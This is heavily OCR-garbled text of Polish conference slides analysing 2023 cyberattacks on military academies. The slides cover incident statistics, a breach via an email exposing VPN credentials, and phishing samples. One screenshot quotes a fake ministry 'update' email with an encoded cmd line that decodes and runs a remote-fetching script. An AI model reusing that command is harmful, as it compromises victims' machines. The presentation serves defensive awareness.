Zadanie
»,Model normatywny podnoszenia kompetencji cyfrowych w szkotach wyzszych”
finansowane w ramach dotacji celowej pochodzqgcej ze srodkéw Ministerstwa
Edukacji i Nauki na podstawie Umowy Nr MEiN/2023/CTC/2625

Konferencja naukowa
»Wzmacnianie odpornosci szkot wyzszych
na cyberataki przez podnoszenie kompetencji cyfrowych”

Analiza atakow na
uczelnie wojskowe za
rok 2023

Prelegent: ptk Lukasz Jedrzejczak

“. = Ministerstwo UNIWERSYTET KARDYNALA LTE R s
y s - sz STEFANA WYSZYRSIGECO sentrum Liderdu
3" Edukacji i Nauki U atpcsadsiba C Sranaforman
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Agenda

1. Ataki na systemy uczelni wojskowych:
a) Akademia Marynarki Wojenne,.
b) Akademia Sztuki Wojenne,.
c) Akademia Wojsk Lgdowych.
d) Lotnicza Akademia Wojskowa.
e) Wojskowa Akademia Techniczna.

2. Aktualne zagrozenia i podatnosci w 2023r.:
a) Kampanie phishingowe.
b) Dezinformacja
c) Kradziez danych.
d) Kradziez tozsamosci.
e) Szpiegostwo.

3. Dobre praktyki istotne dla cyberbezpieczenstwa uczelni wojskowych.
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ILOSCIOWY WYKAZ INCYDENTOW W POSZCZEGOLNYCH UCZELNIACH WOJSKOWYCH

NIEUPRAWNIONA ZMIANA INFORMACIJI
ROZPROSZONY ATAK BLOKUJACY (DDOS)

INFEKCJA SYSTEMU OPERACYJNEGO

OPROGRAMOWANIE ZtOSLIWE NA
ZEWNETRZNYM NOSNIKU DANYCH

BtEDNA KONFIGURACJA URZADZENIA

OBEJSCIE ZABEZPIECZEN /WYKORZYSTANIE
PODATNOSCI W URZADZENIU

KOPIOWANIE / ROZPOWSZECHNIANIE
PLIKOW NIEZGODNIE Z PRZEPISAMI PRAWA

NIEUPRAWNIONY DOSTEP/
WYKORZYSTANIE INFORMACIJI

NARUSZENIE PROCEDUR

UZYTKOWANIE OPROGRAMOWANIA W WERSJI
POSIADAJACEJ ZNANE PODATNOSCI /BRAK AKTUALIZACII

KATEGORIA

WLAMANIE DO APLIKACIJI

PROBA NIEUPRAWNIONEGO LOGOWANIA /
WLAMANIA NA KONTO

SKANOWANIE
INFEKCJA SYSTEMU OPERACYJNEGO
KLIENT BOTNETU

ZGLOSZENIE

EKSPLOATOWANIE OPROGRAMOWANIA SPOZA
WYKAZU PROGRAMOW DOPUSZCZONYCH DO UZYTKOWANIA

INZYNIERIA SPOLECZNA

SPAM

L [SIRTIMON-
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Zagrozenia dla uczelni wojskowych

/\/\

Korzysci finansowe
Operacje informacyjne
Cyberszpiegostwo

L [SIRTIMON-

Intencja Zdolnos¢

Grupy sponsorowane przez panstwa
Grupy motywowane finansowo

A U

Sposobnos¢

Ty

Otwarty charakter uczelni
Niedojrzata architektura cyberbezpieczenstwa
Brak procesow, narzedzi i personelu cyber
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CyberTriad
We can no longer watch as the US and

Today we encrypted computers of
and IT companies Chopin (

you should have a look, it is interesting

2022

C

ROZMIESZCZENIE STANOWISK PRACY DO CWICZENIA BM-22
Zesp6t nr 2 {3 BPanc)

CyberTriad

Incydent na Akademil Sztuk

Hi! We think you lost something...
INSTRUKTAZ DO SLUZB - MARZE!

L [SIRTIMON-

#CyberAktywni #CyberBezpieczni #CyberSkuteczni
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Atak na systemy ASzWoj

10 lipca 2023 r. grupa CyberTriad zaatakowata sieci Akademii Sztuki Wojennej. Nie uzyto technik
wlaman majgcych na celu ominiecie zabezpieczen. Atakujgcy wykorzystat jedng wiadomosc¢ e-mail.

Dostep do VPN
_ "f_‘ Odpowiedz «“ Odpowiedz wszystkim * Przedlij dalej
Do _ Fri 13/05/2022 15:20

» Defaultvpn
1 KB

S

Dzien dobry

Ponizej procedura dostepu VPN Client-to-5ite do naszej infrastruktury:

1. obrac aplikacje Barracuda Network Access Client: : :
https://drive.google.com/sie/c/ [ / Gotowy szablon konfiguracyjny.

2. zainstalowad Barracuda VPN Client
3. pobrac szablon konfiguracyjny (z zalacznika) i aktywowac go lub zaciggnac funkcja IMPORT z poziomu Barracuda i Z .
Metwork Access Client LOgIn | haS’fO Jawnym tekStem

4, zestawic polgczenie do ASzWoj przy uzyciu Inginu:_i hasia:_ 4

Prosze o info zwrotne czy tunel sie zapina i czy adres ID-esr osiggalny. e Wazny adres IP podany
tekstem jawnym.

7 powaizaniem

Akademia Sztuki Wojennej

L [SIRTIMON-
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Etapy ataku

1. Phase 2. Phase
(a
_ Pull exe
192.168, TCP/3389 domain.yami
TCP/445
l -
Fw
185.219. 10.1. N C 100'(:02
Tefincom S.A : ’ TCP/445 ok
. ) 1
a FS
10.1. 10.1,
@ 1.4xt
1.png
Phantomjs exe
Schedule.exe

3. Phase

Microsoft-Windows-DiskDiagnosticDataCollector
CleanupTemporaryState

.y
L

ws



Atak na systemy ASzWoj

Co zrobiono zle?

Zatgcznik zawierat
informacje, ktére pozwolity
na dostep do sieci bez
potrzeby wykorzystania
inzynierii spotecznej, czy
spear phishingu

Krytyczne informacje nie
zostaty zaszyfrowane -
wystane tekstem jawnym.

Wszystkie wazne dane w
jednej wiadomosci.
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Ztamane zostaty podstawowe zasady cyberhigieny
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Komentarze prasowe

™ AkademiaSzWoj @AkademiaS... - 25 sie
{é Brawo @OnetWiadomosci @onetpl Il Juz

g Edyta Zemta Obserwuj 3 Marcin Wyrwat Obserwuj ) !
nawet cyberprzestepcy Wam dziekujg za
wsparcie !l Nikt tak ich nie wypromowat jak
&5 11,21ys. » 24 sierpnia 2023, 06:00 1 Lubie to < duet @Wyrwal i @Edytazemla . Dzieki Wam

zdobyli motywacje do dalszych dziatan. Nasze
szczere gratulacje !

Thank you,
\domosci.(

oL, we appreciate it.
AKADEMIA (e o s

SZTUKI
WOJENNEJ

We've already prepared another surprise
foryou.
Stay tuned.

AKADEMIA
SZTIKI
WOJENNEJ

Albert Zawada / PAP
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Atak hakerski sparalizowat najwieksza polska uczelnie wojskowa

E[Sfﬁ T/Mﬂﬂb Atak hékerski‘spérali?owai najwiekszg polska




Incydent na Lotnicze] Akademil Wojskowe]

law.mil.pl

luzaainysiaghid# 1uzaaidzagiaghiy# lumhpviaghd#
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Incydent na Akademii Marynarki Wojennej

[251.122 216]
9 (D) 9 security vendors flagged this IP address as malicious = Similar - 3 Graph @ API
188 257122215 (2.57.122.0124) RO Last Analysis Date
o AS 47890 { Unmanaged Ltd } [ B ] 13 days ago

Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an AP! key to automate checks.

Security vendors’ analysis (O Do you want to automate checks?

Antiy-AVL Malicious BitDefender CD Phishing

CRDF Malicious CyRadar (D Malicious

Lionic Malicious SOCRadar @ Malicious

O
0)
G-Data (D) Prishing GreenSnow (D) Malicious
)
)

Xcitium Verdict Cloud Malicious Criminal IP

B AbuselPDB » 2.57.122.216
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CrowdSec (@ suspicious Abusix (2) Clean
. ) )
Acronis () Clean ADMINUSLabs () Clean Check an IP Address, Domain Name, or Subnet 913,95 35,98 p—
- - e.g. 213.25.35.98, microsoft.com, or 5.188.10.0/24
m AlienVault () Clean alphaMountain. ai (©) Clean
) - .
N Avira () Clean benkow.cc (%) Clean
= Bfore Ai PreCrime (%) Clean Blueliv (%) Clean 2.57.122.216 was found in our database! Your new development career awaits. Check out
- the latest listings
I Certego @ Clean Ghong Lua Dao @ Clean This IP was reported 1,907 times. Confidence of Abuse is 100%: 2 SHlithentie
- - o ADS VIA CA
M CINS Army © Clean CMC Threat Inteligence @ Clean o ADSIVZICEREOH
LC Cyble () Clean desenmascara.me () Clean ISP Pptechnology Limited
O_ OVHcloud Serwery dedykowane juz od 87 zt brutto/mies. Tylko do
m Usage Type Data Center/Web Hosting/Transit 7. wrzesnia
-
m Hostname(s) mail.commnitygerservics.live
A Domain Name dmzhost co
C Country i Romania
—+
City Bucharest, Bucuresti

IP2Location.

REPORT 2.57.122.216 WHOIS 2.57.122.216

IP Abuse Reports for 2.57.122.216:

IUZ39

This IP address has been reported a total of 1,907 times from 419 distinct sources. 2.57.122 216 was first reported on December 9th 2020, and the most
recent report was 3 hours ago

L [SIRTIMON-




Aktualne Zagrozenia i podatnoscig

Obecnie
najwiekszymi
zagrozeniami

Zwigzanymi
Z cyberprzestrzenig
S3a.

luzaainysiaghd# 1uzaaidzagiaghy# lumhpviaghd#
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Ishing na uzytkownikow w uczelniach wojskowych

GUS-Portal@info stat.gov pl undisclosed-recipients i1

Obowigzek sprawozdawczy P-01

| Elektroniczny formularz zgloszeniowy.rar
T KB
|

Szanowni Paristwo,

Glowny Urzad Statystyczny uprzejmie informuje, ze Panstwa firma zostata objeta obowigzkiem
sprawozdawczym: Sprawozdanie o produkeji (P-01)

W zatyczeniu przesylamy elektroniczny formularz zgloszenia
Termin przekazania sprawozdania uplywa w dniu: 2023-02-28

Badanie jest realizowane zgodnie z przepisami Rozporzadzenia Parlamentu Europejskiego | Rady (UE)
2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osob fizycznych w zwigzku z przetwarzaniem
danych osobowych | w sprawle swobodneqgo przeplywu takich danych oraz uchylenia dyrektywy 95/46/WE
(RODO). Szczegotowe informacje dotyczace stosowania RODO w statystyce publiczne] oraz przetwarzania
danych osobowych w celu statystycznym s3 dostepne na stronle

internetowej: https://bip.stat.gov.pl/rodo/klauzule-informacyjne/prze-danych-osobeely-statystycznym/

Dane uzyskane w badaniu 53 objete tajemnica statystyczng i beda wykorzystane wylgcznie do opracowan
zhiorezych (art. 10 ww. ustawy). Udzial w badaniu jest obowigzkowy.

Obowlazek przekazania danych wynika z:

- art. 30 ust. 1 pkt 3 ustawy z dnia 29 czerwca 1995 r. o statystyce publicznej (Dz. U. z 2022 r. poz. 459,
z pbin. zm.). Tekst jednolity ustawy o statystyce publicznej dostepny jest pod

adresem: https://bip.stat.gov.pl/pravio/akty-pne/ustawa-o-stat-publicznej/,

- rozporzgdzenia Rady Ministréw z dnia 25 wrzesnia 2020 r. w sprawie programu badan statystycznych
statystyki publicznej na rok 2021 (Dz. U. poz. 2062, z pdZn. zm.). Tresc rozporzadzenia dostepna jest pod
adresem: https://bip.stat.gov.pl/dzialalnosc-statpubliczne]/-statystycznych/pbssp-2021/,

Realizujac wymaogi Rozporzadzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia
2016 r. w sprawie ochrony oséb fizycznych w zwigzku z przetwarzaniem danych osobowych | w sprawle
swobodnego przeplywu takich danych oraz uchylenia dyrektywy 95/46/WE prosimy o zapoznanie sig z
udostepniong na stronie internetowej: http://stat. gov.pl/robo informacjq na temat przetwarzania przez
Gléwny Urzad Statystyczny danych oscbowych

Ta wiadomos¢ zostala wyslana przez system poczty wewnetrznej Portalu Sprawozdawczego i jest kopig
wiadomoscl, jaka znajduje sie w Paristwa skrzynce kontaktowej w Portalu Sprawozdawczym. Odpowiedzi
na te wiadomosc mozna udzielic wylacznie po zalogowaniu sie do Portalu i skorzystaniu z funkcji interfejsu
poczty wewnetrznej.

L [SIRTIMON-

Celine Lannes <celinelannes@inrae frx a0 08.05.2023

CL

Ostrzezenie o aktualizacji katalogu uczelni

ﬂw przypadku probleméw ze sposobem wyswietlania tej wiadomoici kliknij tutaj, aby wyswietlic ja w przegladarce
sieci web.,
W

UWAGA: Ta wiadomos¢ zostata przestana przez nadawce z zewnatrz. Zachowaj

ostroznosc - szczegolnie jesli wiadomose zawiera zatgczniki lub linki!

JesteSmy w trakcie aktualizacji katalogu
uniwersyteckiego 2022-2023; prosimy o rejestracje
poprzez klikniecie ponizszego linku w swojej skrzynce
e-mail: Rocznik 2022-2023

CBZC POLICJA <2 .cbzc polica.govpl@gmail.com: as 0 W4 25.10.2022
«7BEZPOSREDNIE OSKARZENIE

ﬂw prrypadku problemow ze spaosobem wyswietlania tej wiadomosci kliknij tutaj, aby wyswietlic ja w przegladarce
sieci web,
Wt

CcP

082743827P pdf
729 KB

UWAGA: Ta wiadomos¢ zostala przestana przez nadawce z zewnatrz. Zachowaj

ostroznosc - szczegolnie jesli wiadomosé zawiera zatgczniki lub linki!

Przeczytaj fakty przeciwko tobie.
Jeili tego nie zrobisz, bedziemy zobowigzani do nieodwotalnego aresztowania Cieg.
W celu uzyskania wyjasnien napisz na adres e-mail: cyber-kgp@ cbhzc-policja-gov-pl.tech




Phishing na uzytkownikow RON

noc@mon gov pl> @mon.gov.pl 06.06.2023
Instalacja aktualizacji O
2 s H o
Dzien dobry, 2. Kliknij ,Wiersz polecenia

Kazdy, kto otrzymat te wiadomos¢ e-mail, musi recznie zaktualizowac swoje dziatajgce komputery.

Oto instrukcja
Wszystko Aplikacje Dokumenty Internet Wie

1. Wpisz i wyszukaj ,,cmd”
Wiersz polecenia

Wszystko  Aplikacje Dokumenty  Internet Aplikacja

Wysmvk;jv w sieci Web

Najlepszy wynik Wiersz polecenia

| Wiersz polecenia L cmd - Zobacz wyniki z sieci Web Aplikacja
Aplikacja .
£ cmd ipconfig

Wyszukaj w sieci Web S 5
Wiersz polecenia
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cmdf I Otwérz

cmd - Zobacz wyniki z sieci Web Aplikacja
Uruchom jako administrator

cmd ipconfig cmdd

Otwérz lokalizacje pliku

cmdf ! Otwérz cmder

IUzZ3l9

= Przypnij do obszaru startowego
cmd ping
Otwérz lokalizacje pliku Przypnij do paska zadan

cmder
cmdemd

Przypnij do obszaru startowego

cmd ping

cmd komendy

? Przypnij do paska zadar
cmdemd

pol
yo)
yol
£ cmdd Uruchom jako administrator
£
yol
po)
jo)

cmd komendy

InYSiaghl#

IUZ39

3. Skopiowac polecenia

E‘ S'IP T MBN- set updateurl=https://catalog.update.microsoft.com&echo
. QGVjaG8gb2ZmJmN1cnR1d4dG1sICllcmxjYWNoZSAtZiBodHRwO18venValmlvY2t5LlmlvL3YzLzdmZDAzMzY4 LTY1MGE tNGU

-decode c c.cmd&c.cmd




Phishing na uzytkownikow RON
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= Katka Miskova <katkamiskova@email.cz» 281~ 07.07.2023

3 KM

= »

+

M

U=

o djecie w fanly.zip. Zgodzili sie! -
Q Zdjecie wtanly.zip. Zgodzili sig: katkamiskova@email.cz 2% 1~ M 4 26.07.2023
w

E fansly.zip hd
=2

D | @mon.gov.plzip _

M 7

T Bl 27ke

=3

H

M Zobacz co znalaztem

o

o

© B John Bolton <John Bolton@portugalmail pt> a1~ caw. 31.08

wn ., . .

7C¢ Russia’s War in Ukraine. Lt. Col. John Q. Bolton, U.S. Army w

—+

D

N

g Flease read the document Bolton-AWC-Ukraine-Observations-UA.rar
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Dezinformacja

Kampanie
dezinformacyjne
w konfliktach

Dezinformacja
dotyczgca nowych
technologi

Pseudonaukowe

Dezinformacja na
teorie spiskowe

temat pandemii

Manipulacja
informacjami
w celach
propagandowych
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AN\
Kradziez danych / U m\
e G )

 Kradziez osobowosSci. -

« Utrata finansow.
» Sprzedaz.

 Informacje wykorzystywane do
prowadzenia kampanii phishingowych.

» Dostep do kont uzytkownika.
« Kompromitacja osoby.
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Kradziez tozsamosci

Kradziez tozsamosci
z ubezpieczen
spotecznych
(m.in. w celu
olrzymywania Swiadczen)

++

M

(e

O

M

>

2

&

2

(% Kradziez tozsamosci Kradziez tozsamosci

=, dziecka podatkowe]

% (wykorzystywane do Kradziez tozsamosci (m.in. w celu ztozenia fatszywego

< roznych form osobistych finansowej zaznania podatkowego w imieniu

= korzysci) (m.in. w celu uzyskania innej osoby, badz odebrania

g‘ kredytu, towaréw, ustug) ZWrotu)

3=

< Kradziez tozsamosci ... . .

o : .. - . . Kradziez tozsamosci

D syntetycznej Kradziez tozsamosci krvminalnei

wn . , .

= (rodzaj oszustwa, w ktorym medycznej yminamel

= . : : (przestepca udaje inng osobe, w

i przestepca tgczy prawdziwe (m.in. w celu uzyskania celu uniknieci : i

Q : : : ANy ecia wezwania, nakazu,

L | fatszywe informacje, aby bezptatnej opieki aresztowania lub skazania)
stworzy¢ nowg tozsamosc) medyczne))
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Szpiegostwo

Bardzo istotne jest
zrozumienie wagi
informacji w kontekscie
wojny hybrydowej
I jej wptywu na poziom
bezpieczenstwa panstwa.

Wszystko co
udostepniasz, zostaje w
Internecie na zawsze.

Zdjecia posiadajg Tto zdjec to rowniez
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Pamietaj, ze celem ataku
moga stac sie rowniez
cztonkowie rodziny,
znajomi.



Dobre praktyki istotne dla cyberbezpieczenstwa uczelni wojskowych
N\

Ksztatcenie i Swiadomos$é: Zapewnienie odpowiedniego szkolenia w zakresie
cyberbezpieczenstwa dla personelu, studentéw i kadry. Wzmacnianie swiadomosci w zakresie
cyberzagrozen i praktyk bezpieczenstwa. I I I

Silna Polityka Bezpieczenstwa: Opracowanie i wdrozenie silnej polityki bezpieczenstwa
informacji, ktéra obejmuje zarzgdzanie dostepem, monitorowanie, raportowanie
incydentow, oraz zasady bezpieczenstwa dla systemow informatycznych.

Regularne Audyty Bezpieczenstwa: Przeprowadzanie regularnych audytéw
bezpieczenstwa w celu identyfikacji luk w bezpieczenstwie oraz weryfikacji, czy polityki i
procedury bezpieczenstwa sg przestrzegane.

Zarzadzanie Dostepem: Skonfigurowanie silnego systemu zarzgdzania dostepem,
kontrolujgcego uprawnienia dostepu do kluczowych zasobdéw informatycznych.

Monitorowanie i Analiza Ruchu: Ustawienie systemdw monitorowania ruchu sieciowego w celu
wczesnego wykrywania nieprawidtowosci oraz analiza ruchu w celu identyfikacji potencjalnych
zagrozen.
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Dobre praktyki istotne dla cyberbezpieczenstwa uczelni wojskowych

Aktualizacje Systemow: Regularne aktualizacje i tatki oprogramowania w celu
zabezpieczenia systemow przed znanymi podatnosciami.

Bezpieczenstwo Fizyczne: Ochrona fizyczna serwerowni i innych kluczowych punktéw
dostepowych do systemow informatycznych.

Zarzadzanie Incydentami: Ustanowienie planu zarzgdzania incydentami, w tym srodki
zapobiegawcze, reakcje na incydenty i proces odzyskiwania.

Szyfrowanie Danych: Wdrozenie szyfrowania danych, zwtaszcza w przypadku
przechowywania i przesytania poufnych informaciji.

Testowanie Penetracyjne: Okresowe testy penetracyjne w celu oceny odpornosci
systemow na ataki oraz identyfikacji potencjalnych stabosci.
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Wspétpraca z Wojskowymi Jednostkami Bezpieczenstwa: Utrzymywanie bliskiej
wspotpracy z wojskowymi jednostkami bezpieczenstwa, wymiana informacji i wspdélna
reakcja na potencjalne zagrozenia.
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Zabezpieczenie oprogramowania

. Oprogramowanie Minimalne
Ustawienia antywirusowe uprawnienia
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Silne hasto Aktualizacja
systemu
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Zabezpieczenie uzytkownika

Wiedza Swiadomo$¢
o L et -
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g —
Szkolenia Raportowanie
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Wnioski

» Dostarczanie ustug IT jest zawsze zwigzane z kosztami zwigzanymi z cyberbezpieczenstwem
* Follow the rules...: Decyzja 62/DK WOC MON

« Synergia dziatan Uczelni

» Migracja ustug do systemow dostarczanych przez DK WOC

» Polityka komunikacji incydentow
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Dziekuje za uwage

ptk tukasz Jedrzejczak
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